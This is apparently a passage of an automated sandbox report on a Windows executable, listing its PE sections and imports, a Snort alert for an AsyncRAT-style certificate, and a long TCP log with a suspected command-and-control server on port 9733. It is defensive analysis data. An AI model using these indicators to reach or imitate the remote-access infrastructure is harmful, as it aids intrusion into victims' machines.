mov eax, dword ptr [01C9E024h]
mov ecx, dword ptr [ebp+08h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00000000h]

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x189dfb0	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18a0000	0x300	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x189e000	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x6d8	0x800	634568371a8277c64a41c56ff8c1ebdd	False	0.44873046875	data	4.926611381564551	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x189c1b3	0x189c200	8f7de6bfac879ff653edeb2e10b4f709	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.bss	0x189f000	0x4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x18a0000	0x300	0x400	005392dbaf1116d09a8406ebfd545299	False	0.3564453125	data	4.300715428903859	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x18a0058	0x2a5	XML 1.0 document, ASCII text	English	United States	0.4726735598227474

Imports

DLL	Import
msvcrt.dll	malloc, memset, strcmp, strcpy, getenv, sprintf, fopen, fwrite, fclose, __argc, __argv, _environ, _XcptFilter, __set_app_type, _controlfp, __getmainargs, exit
shell32.dll	ShellExecuteA
kernel32.dll	SetUnhandledExceptionFilter

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
05/12/24-23:37:07.083444	TCP	2035595	ET TROJAN Generic AsyncRAT Style SSL Cert	9733	49731	92.44.20.216	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 12, 2024 23:37:01.779740095 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:01.779778957 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:01.779907942 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:01.802299023 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:01.802314997 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.137567997 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.137633085 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:02.141189098 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:02.141196966 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.141450882 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.187450886 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:02.200158119 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:02.244128942 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.574270010 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.574318886 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.574347019 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.574379921 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.574415922 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:02.574434996 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.574450970 CEST	443	49730	140.82.116.5	192.168.2.4
May 12, 2024 23:37:02.574466944 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:02.574563026 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:02.593378067 CEST	49730	443	192.168.2.4	140.82.116.5
May 12, 2024 23:37:06.346668005 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:06.704710960 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:06.704797983 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:06.709511042 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:07.083444118 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:07.083467007 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:07.083555937 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:07.087934017 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:07.448859930 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:07.609283924 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:08.789902925 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:08.789948940 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:08.790008068 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:08.790402889 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:08.790411949 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:09.338129997 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:09.338207960 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:09.342041016 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:09.342058897 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:09.342302084 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:09.346378088 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:09.392112017 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:09.528862953 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:09.528913975 CEST	443	49734	147.135.36.89	192.168.2.4
May 12, 2024 23:37:09.528970957 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:09.598262072 CEST	49734	443	192.168.2.4	147.135.36.89
May 12, 2024 23:37:09.991014004 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:10.400924921 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:10.400985956 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:10.760854959 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:10.812407017 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:11.172627926 CEST	9733	49731	92.44.20.216	192.168.2.4
May 12, 2024 23:37:11.218667984 CEST	49731	9733	192.168.2.4	92.44.20.216
May 12, 2024 23:37:11.728192091 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:11.728229046 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:11.728329897 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:11.729258060 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:11.729269028 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.064249992 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.064785004 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:12.064799070 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.065674067 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.065728903 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:12.066663980 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:12.066718102 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.066785097 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:12.066791058 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.124907970 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:12.492917061 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.492968082 CEST	443	49735	104.26.12.205	192.168.2.4
May 12, 2024 23:37:12.493030071 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:12.493660927 CEST	49735	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:12.681463003 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:12.681488037 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:12.681596041 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:12.681996107 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:12.682012081 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:13.671165943 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:13.671487093 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:13.671505928 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:13.672383070 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:13.672437906 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:13.673614979 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:13.673674107 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:13.673827887 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:13.673835039 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:13.734287977 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:14.297233105 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:14.297296047 CEST	443	49736	51.38.43.18	192.168.2.4
May 12, 2024 23:37:14.297375917 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:14.311664104 CEST	49736	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:15.671312094 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:15.671339989 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:15.671415091 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:15.672956944 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:15.672966957 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.607029915 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.626429081 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:16.626451015 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.627367973 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.627435923 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:16.628077984 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:16.628143072 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.628181934 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:16.676111937 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.797775984 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:16.797794104 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.902455091 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:16.947359085 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.947454929 CEST	443	49737	159.89.102.253	192.168.2.4
May 12, 2024 23:37:16.947525024 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:16.948275089 CEST	49737	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:17.592829943 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:17.592875957 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:17.592941999 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:17.621748924 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:17.621786118 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:17.639620066 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:17.639659882 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:17.639776945 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:17.640276909 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:17.640291929 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:17.972244978 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:17.983506918 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:17.983525991 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:17.984488964 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:17.984570026 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:17.999844074 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:17.999922991 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:17.999959946 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:18.016897917 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:18.016910076 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:18.159153938 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:18.253087044 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:18.253165960 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:18.255094051 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:18.255105972 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:18.255306005 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:18.257755995 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:18.257807016 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:18.257822037 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:18.556461096 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:18.556543112 CEST	443	49743	162.159.135.232	192.168.2.4
May 12, 2024 23:37:18.556593895 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:18.557122946 CEST	49743	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:18.859143972 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:18.859201908 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:18.859658003 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:18.870843887 CEST	49742	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:18.870868921 CEST	443	49742	31.14.70.245	192.168.2.4
May 12, 2024 23:37:19.230753899 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:19.230783939 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:19.231000900 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:19.295342922 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:19.295360088 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:19.926417112 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:19.926490068 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:19.928431034 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:19.928440094 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:19.928649902 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:19.931226969 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:19.931516886 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:19.931540012 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:20.598695993 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:20.598767042 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:20.598828077 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:20.611310005 CEST	49749	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:20.611320972 CEST	443	49749	31.14.70.245	192.168.2.4
May 12, 2024 23:37:20.857045889 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:20.857088089 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:20.857203007 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:20.872143030 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:20.872155905 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:21.492002964 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:21.492197990 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:21.493534088 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:21.493544102 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:21.493766069 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:21.495290041 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:21.495290041 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:21.495349884 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:22.110286951 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:22.110340118 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:22.110434055 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:22.111082077 CEST	49753	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:22.111099958 CEST	443	49753	31.14.70.245	192.168.2.4
May 12, 2024 23:37:22.338205099 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.338249922 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.338334084 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.338648081 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.338661909 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.667953968 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.677588940 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.677607059 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.678498030 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.678571939 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.682045937 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.682105064 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.682171106 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.682178974 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.682221889 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:22.682240009 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:22.734440088 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.172054052 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.172171116 CEST	443	49754	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.172223091 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.172682047 CEST	49754	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.399463892 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.399497986 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.399586916 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.399879932 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.399895906 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.728578091 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.728965044 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.728979111 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.729892015 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.729953051 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.730608940 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.730668068 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.730707884 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.730734110 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:23.730741024 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:23.781193972 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:24.293550968 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:24.293646097 CEST	443	49755	162.159.135.232	192.168.2.4
May 12, 2024 23:37:24.293715000 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:24.294135094 CEST	49755	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:26.091953993 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.091999054 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.092087030 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.092886925 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.092904091 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.423271894 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.423959970 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.423993111 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.424931049 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.424990892 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.425808907 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.425869942 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.425893068 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.468705893 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.468725920 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.515567064 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.859975100 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.860032082 CEST	443	49757	104.26.12.205	192.168.2.4
May 12, 2024 23:37:26.860147953 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.860610008 CEST	49757	443	192.168.2.4	104.26.12.205
May 12, 2024 23:37:26.867242098 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:26.867284060 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:26.868108034 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:26.868179083 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:26.868196964 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:27.825562954 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:27.825839996 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:27.825870037 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:27.826801062 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:27.826867104 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:27.827477932 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:27.827560902 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:27.827583075 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:27.874942064 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:27.874967098 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:27.921813965 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:28.455168009 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:28.455235004 CEST	443	49758	51.38.43.18	192.168.2.4
May 12, 2024 23:37:28.455286980 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:28.455758095 CEST	49758	443	192.168.2.4	51.38.43.18
May 12, 2024 23:37:28.462539911 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:28.462574005 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:28.462841988 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:28.463118076 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:28.463133097 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.406124115 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.406564951 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.406594038 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.407699108 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.407763958 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.408394098 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.408466101 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.408477068 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.452131987 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.453107119 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.453119993 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.499957085 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.729703903 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.729759932 CEST	443	49759	159.89.102.253	192.168.2.4
May 12, 2024 23:37:29.730699062 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.730829954 CEST	49759	443	192.168.2.4	159.89.102.253
May 12, 2024 23:37:29.866466045 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:29.866513968 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:29.866803885 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:29.888536930 CEST	49762	443	192.168.2.4	31.14.70.245
May 12, 2024 23:37:29.888551950 CEST	443	49762	31.14.70.245	192.168.2.4
May 12, 2024 23:37:29.959898949 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:29.959924936 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:29.959985971 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:29.960242033 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:29.960253954 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.290052891 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.290340900 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:30.290352106 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.291227102 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.291285992 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:30.291934013 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:30.291987896 CEST	443	49763	162.159.135.232	192.168.2.4
May 12, 2024 23:37:30.292018890 CEST	49763	443	192.168.2.4	162.159.135.232
May 12, 2024 23:37:30.292058945 CEST	49763	443	192.168.2.4	162.159.135.232
